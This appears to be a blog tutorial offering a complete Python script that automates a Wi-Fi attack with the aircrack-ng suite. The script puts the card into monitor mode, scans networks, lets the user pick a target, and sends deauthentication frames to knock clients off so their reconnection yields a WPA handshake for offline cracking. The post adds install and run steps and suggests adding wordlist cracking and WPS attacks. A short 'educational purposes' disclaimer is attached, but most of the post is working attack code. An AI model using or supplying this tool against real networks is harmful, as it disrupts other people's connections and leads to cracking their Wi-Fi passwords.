If you've ever explored penetration testing on wireless networks, you've probably heard of Wifite - an automated tool for auditing Wi-Fi security. It's powerful, but also a bit complex under the hood.
In this post, we'll build a lightweight Python script that mimics one of Wifite's core features: scanning nearby networks and capturing WPA handshakes.
⚠ Disclaimer: This tutorial is for educational purposes only. Performing attacks on networks without permission is illegal. Always test in a controlled lab environment.
What Is a WPA Handshake?
A WPA handshake is the initial exchange between a Wi-Fi client (like your laptop) and an access point (router) when connecting. This handshake contains cryptographic material that, if captured, can be brute-forced offline to test password strength.
Capturing it doesn't require you to crack the password on the spot - it just saves the handshake packet to a .cap
file for later analysis.
How the Script Works
Our script automates these steps:
-
Enable monitor mode
We switch the wireless card into monitor mode usingairmon-ng
, so it can capture all wireless traffic. -
Scan for nearby networks
Usingairodump-ng
to detect BSSIDs, ESSIDs, channels, and signal strengths. -
Target a specific network
The user chooses a network from the list. -
Capture handshake packets
We startairodump-ng
on the target channel and senddeauth
frames withaireplay-ng
to force clients to reconnect - generating a handshake. -
Save the handshake file
The captured packets are stored in.cap
format for later cracking.
The Python Code
Here's the complete script:
#!/usr/bin/env python3
import subprocess
import re
import os
import time
def run_cmd(cmd):
try:
return subprocess.check_output(cmd, stderr=subprocess.DEVNULL, universal_newlines=True)
except subprocess.CalledProcessError:
return ""
def enable_monitor_mode(interface):
print(f"[+] Enabling monitor mode on {interface}...")
run_cmd(["sudo", "airmon-ng", "start", interface])
return interface + "mon"
def scan_networks(interface):
print(f"[+] Scanning networks on {interface}...")
output = run_cmd(["sudo", "airodump-ng", "--output-format", "csv", "--write", "/tmp/scan", interface])
time.sleep(5)
subprocess.run(["pkill", "-f", "airodump-ng"])
networks = []
try:
with open("/tmp/scan-01.csv", "r", encoding="utf-8", errors="ignore") as f:
lines = f.readlines()
for line in lines:
if re.match(r"([0-9A-F]{2}:){5}[0-9A-F]{2}", line):
parts = [x.strip() for x in line.split(",")]
bssid = parts[0]
essid = parts[-1] if parts[-1] else "HIDDEN"
channel = parts[3]
pwr = parts[8]
networks.append({"BSSID": bssid, "ESSID": essid, "Channel": channel, "PWR": pwr})
except FileNotFoundError:
print("[-] Scan file not found.")
return networks
def capture_handshake(interface, bssid, channel, essid):
print(f"[+] Capturing handshake for {essid} ({bssid})...")
dump_file = f"/tmp/{essid}_handshake"
subprocess.Popen(["sudo", "airodump-ng", "-c", channel, "--bssid", bssid, "-w", dump_file, interface])
time.sleep(3)
print("[+] Sending deauth packets to force handshake...")
subprocess.Popen(["sudo", "aireplay-ng", "--deauth", "10", "-a", bssid, interface])
time.sleep(10)
subprocess.run(["pkill", "-f", "airodump-ng"])
print(f"[+] Handshake saved to {dump_file}-01.cap")
def main():
interface = input("Wi-Fi interface (e.g., wlan0): ").strip() or "wlan0"
mon_iface = enable_monitor_mode(interface)
nets = scan_networks(mon_iface)
if not nets:
print("[-] No networks found.")
return
print("\nAvailable networks:")
for i, net in enumerate(nets, 1):
print(f"{i}. {net['ESSID']} ({net['BSSID']}) CH:{net['Channel']} PWR:{net['PWR']}")
choice = int(input("\nSelect target network: ")) - 1
if choice < 0 or choice >= len(nets):
print("[-] Invalid choice.")
return
target = nets[choice]
capture_handshake(mon_iface, target["BSSID"], target["Channel"], target["ESSID"])
if __name__ == "__main__":
main()
How to Run It
-
Install dependencies
Make sure you haveaircrack-ng
suite installed:sudo apt update sudo apt install aircrack-ng
-
Give execution permission
chmod +x wpa_handshake.py
-
Run the script as root
sudo ./wpa_handshake.py
-
Select a network and let it capture the handshake.
Possible Extensions
-
Add WPA cracking directly using
aircrack-ng
with a wordlist. -
Save logs with timestamps for better tracking.
-
Implement command-line arguments with
argparse
for automation. -
Add WPS attack capabilities with
reaver
orbully
.